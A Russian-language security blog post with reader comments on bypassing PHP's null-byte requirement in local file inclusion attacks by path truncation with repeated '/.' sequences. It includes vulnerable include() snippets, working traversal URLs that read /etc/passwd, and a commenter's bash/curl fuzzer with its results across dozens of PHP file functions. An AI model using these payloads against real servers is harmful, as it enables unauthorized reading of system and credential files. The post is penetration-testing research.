Использование замены null-byte в реальных условиях

Проводя тестирования на проникновение в отношении Web-приложений, построенных на PHP, такая полезная особенность интерпретатора, как альтернатива символу конца строки (\0), уже неоднократно позволяла успешно провести атаку типа Local File Including (LFI). На фоне этого появились некоторые наработки эксплуатации LFI c использованием метода по обходу null-byte [1,2,3].

Примеры разберем на up to date системе FreeBSD (7.2-RELEASE-p3) с php (5.2.10 with Suhosin-Patch 0.9.7).

<? include("q/".$_GET['f'].".txt"); ?>

Для выполнения атаки работает: /?f=../../../../../etc/passwd/.[N]/.
, где /.[N]/. - repeat("/.", 487)

<? include("qq/".$_GET['f'].".txt"); ?>

Предыдущий URL не позволит получить /etc/passwd. Но такой запрос успешно отработает:
/?f=/../../../../../etc/passwd/.[N]/.

<? include("qqq/".$_GET['f'].".txt"); ?>

Аналогично, предыдущий URL не позволит получить доступ к файлу. Сработает первый запрос: /?f=../../../../../etc/passwd/.[N]/.

и т.д. То есть, существует прямая зависимость между началом запросов выхода за каталог "../" и "/../" (кратная двум) от начала поступающих данных в функцию include(),require(), etc.

Другой пример кода:
<? include($_GET['f'].".txt"); ?>

Предыдущие запросы идут лесом. Отработает следующий URL:
/?f=non/../../../../../etc/passwd/.[N]/.

Таким образом, при эксплуатации LFI с использованием метода по обходу null-byte могут использоваться следующие запросы: "any/../file[N]", или "../../file[N]", или "/../../file[N]", где [N] замена null-byte, характерная для атакуемой ОС.

7 комментариев :

  1. Дмитрий, интересные наблюдения. Помнится на FreeBSD 7.0 с PHP+Suhosin вообще никак не работало.

    ОтветитьУдалить
  2. как показала практика, сейчас работает:)

    я не смог проэксплуатировать уязвимость, когда используются следующие конструкции:
    include("./".$_GET['f'].".txt");
    и
    file_get_contents($_GET['f'].".txt");

    по поводу file_get_contents, создалось впечатление, что функция вообще не подвержена методу по обходу null-byte...

    ОтветитьУдалить
  3. Команда USH не так давно опубликовала продолжение статьи - уязвимости подвержены только функции include(_once)*, require(_once)*, fopen() и move_uploaded_file()
    http://www.ush.it/2009/07/26/php-filesystem-attack-vectors-take-two/

    ОтветитьУдалить
  4. да. видел я их фаззинг.
    PHP 5.2.10-FreeBSD 7.3 + Suhosin-Patch 0.9.7
    PHPFS_MAD2 $ php afo_fuzzer.php
    47 46 [test_afo.php/.]
    47 47 46 [test_afo.php//.]
    И как раз используется функция "file_get_contents".

    Моя среда:
    [root@web]# uname -a
    FreeBSD web.local 7.2-RELEASE-p3 FreeBSD 7.2-RELEASE-p3 #0: Sat Aug 8 01:53:16 MSD 2009 root@cc.local:/usr/obj/usr/src/sys/CC i386
    [root@web]# php -v
    PHP 5.2.10 with Suhosin-Patch 0.9.7 (cli) (built: Aug 8 2009 19:56:23)
    Copyright (c) 1997-2009 The PHP Group
    Zend Engine v2.2.0, Copyright (c) 1998-2009 Zend Technologies

    И небольшое тестирование:

    [root@web]# cat inc.dat
    SUCCESS
    [root@web]# grep "" *.php
    1.php:&#60? include("q/".$_GET['f'].".txt"); ?&#62
    2.php:&#60? include("qq/".$_GET['f'].".txt"); ?&#62
    3.php:&#60? include("qqq/".$_GET['f'].".txt"); ?&#62
    4.php:&#60? include($_GET['f'].".txt"); ?&#62
    5.php:&#60? include("./".$_GET['f'].".txt"); ?&#62
    6.php:&#60? file_get_contents($_GET['f'].".txt"); ?&#62
    7.php:&#60? file_get_contents("q/".$_GET['f'].".txt"); ?&#62
    8.php:&#60? file_get_contents("qq/".$_GET['f'].".txt"); ?&#62
    9.php:&#60? file_get_contents("./".$_GET['f'].".txt"); ?&#62
    [root@web]# cat f.sh
    #!/usr/local/bin/bash
    file='inc.dat'
    null=`php -r "echo str_repeat('$1', $2);"`
    for i in {1..9}; do
    for p in {"../","/../","non/../","/","../../","/../../","non/../../"}; do
    URL="http://127.0.0.1/fuzzing/$i.php?f=$p$file$null"
    response=`curl -kis $URL | grep SUCCESS | wc -l`
    if [ $response = 1 ]; then
    echo "Found: $i.php?f=$p$file$1 - $2";
    fi
    done
    done
    [root@web]# ./f.sh "/." 600
    Found: 1.php?f=../inc.dat/. - 600
    Found: 2.php?f=/../inc.dat/. - 600
    Found: 2.php?f=non/../../inc.dat/. - 600
    Found: 3.php?f=../inc.dat/. - 600
    Found: 4.php?f=non/../inc.dat/. - 600
    [root@web]# ./f.sh "//." 600
    Found: 1.php?f=../inc.dat//. - 600
    Found: 3.php?f=/../inc.dat//. - 600
    Found: 3.php?f=non/../../inc.dat//. - 600

    то есть, конструкция "//." действительно работает, но не всегда ей можно воспользоваться.
    касаемо функции "file_get_contents" и конструкции "include('./'", так и не удается проэксплуатировать метод по обходу null-byte (при чем, с null-byte таких заморочек нет)

    ОтветитьУдалить
  5. и в продолжение темы:

    [root@web]# grep "" *.php
    1.php: include("q/".$_GET['f'].".txt");
    10.php: require("q/".$_GET['f'].".txt");
    11.php: require("qq/".$_GET['f'].".txt");
    12.php: require("qqq/".$_GET['f'].".txt");
    13.php: require($_GET['f'].".txt");
    14.php: require("./".$_GET['f'].".txt");
    15.php: require_once("q/".$_GET['f'].".txt");
    16.php: require_once("qq/".$_GET['f'].".txt");
    17.php: require_once("qqq/".$_GET['f'].".txt");
    18.php: require_once($_GET['f'].".txt");
    19.php: require_once("./".$_GET['f'].".txt");
    2.php: include("qq/".$_GET['f'].".txt");
    20.php: include_once("q/".$_GET['f'].".txt");
    21.php: include_once("qq/".$_GET['f'].".txt");
    22.php: include_once("qqq/".$_GET['f'].".txt");
    23.php: include_once($_GET['f'].".txt");
    24.php: include_once("./".$_GET['f'].".txt");
    25.php: readfile("q/".$_GET['f'].".txt");
    26.php: readfile("qq/".$_GET['f'].".txt");
    27.php: readfile("qqq/".$_GET['f'].".txt");
    28.php: readfile($_GET['f'].".txt");
    29.php: readfile("./".$_GET['f'].".txt");
    3.php: include("qqq/".$_GET['f'].".txt");
    30.php: virtual("q/".$_GET['f'].".txt");
    31.php: virtual("qq/".$_GET['f'].".txt");
    32.php: virtual("qqq/".$_GET['f'].".txt");
    33.php: virtual("qqq/".$_GET['f'].".txt");
    34.php: virtual("./".$_GET['f'].".txt");
    35.php: $handle = fopen("q/".$_GET['f'].".txt", "r"); echo fgets($handle, 4096); fclose($handle);
    36.php: $handle = fopen("qq/".$_GET['f'].".txt", "r"); echo fgets($handle, 4096); fclose($handle);
    37.php: $handle = fopen("qqq/".$_GET['f'].".txt", "r"); echo fgets($handle, 4096); fclose($handle);
    38.php: $handle = fopen($_GET['f'].".txt", "r"); echo fgets($handle, 4096); fclose($handle);
    39.php: $handle = fopen("./".$_GET['f'], "r"); echo fgets($handle, 4096); fclose($handle);
    4.php: include($_GET['f'].".txt");
    5.php: include("./".$_GET['f'].".txt");
    6.php: file_get_contents($_GET['f'].".txt");
    7.php: file_get_contents("q/".$_GET['f'].".txt");
    8.php: file_get_contents("qq/".$_GET['f'].".txt");
    9.php: file_get_contents("./".$_GET['f'].".txt");
    [root@web]# ./f.sh "/." 600
    Found: 1.php?f=../inc.dat/. - 600
    Found: 2.php?f=/../inc.dat/. - 600
    Found: 2.php?f=non/../../inc.dat/. - 600
    Found: 3.php?f=../inc.dat/. - 600
    Found: 4.php?f=non/../inc.dat/. - 600
    Found: 10.php?f=../inc.dat/. - 600
    Found: 11.php?f=/../inc.dat/. - 600
    Found: 11.php?f=non/../../inc.dat/. - 600
    Found: 12.php?f=../inc.dat/. - 600
    Found: 13.php?f=non/../inc.dat/. - 600
    Found: 15.php?f=../inc.dat/. - 600
    Found: 16.php?f=/../inc.dat/. - 600
    Found: 16.php?f=non/../../inc.dat/. - 600
    Found: 17.php?f=../inc.dat/. - 600
    Found: 18.php?f=non/../inc.dat/. - 600
    Found: 20.php?f=../inc.dat/. - 600
    Found: 21.php?f=/../inc.dat/. - 600
    Found: 21.php?f=non/../../inc.dat/. - 600
    Found: 22.php?f=../inc.dat/. - 600
    Found: 23.php?f=non/../inc.dat/. - 600
    [root@web]# ./f.sh "//." 600
    Found: 1.php?f=../inc.dat//. - 600
    Found: 3.php?f=/../inc.dat//. - 600
    Found: 3.php?f=non/../../inc.dat//. - 600
    Found: 10.php?f=../inc.dat//. - 600
    Found: 12.php?f=/../inc.dat//. - 600
    Found: 12.php?f=non/../../inc.dat//. - 600
    Found: 15.php?f=../inc.dat//. - 600
    Found: 17.php?f=/../inc.dat//. - 600
    Found: 17.php?f=non/../../inc.dat//. - 600
    Found: 20.php?f=../inc.dat//. - 600
    Found: 22.php?f=/../inc.dat//. - 600
    Found: 22.php?f=non/../../inc.dat//. - 600

    ОтветитьУдалить
  6. With all the respect how this research varies from http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/ ?

    Bye,
    Mirco Caccia

    ОтветитьУдалить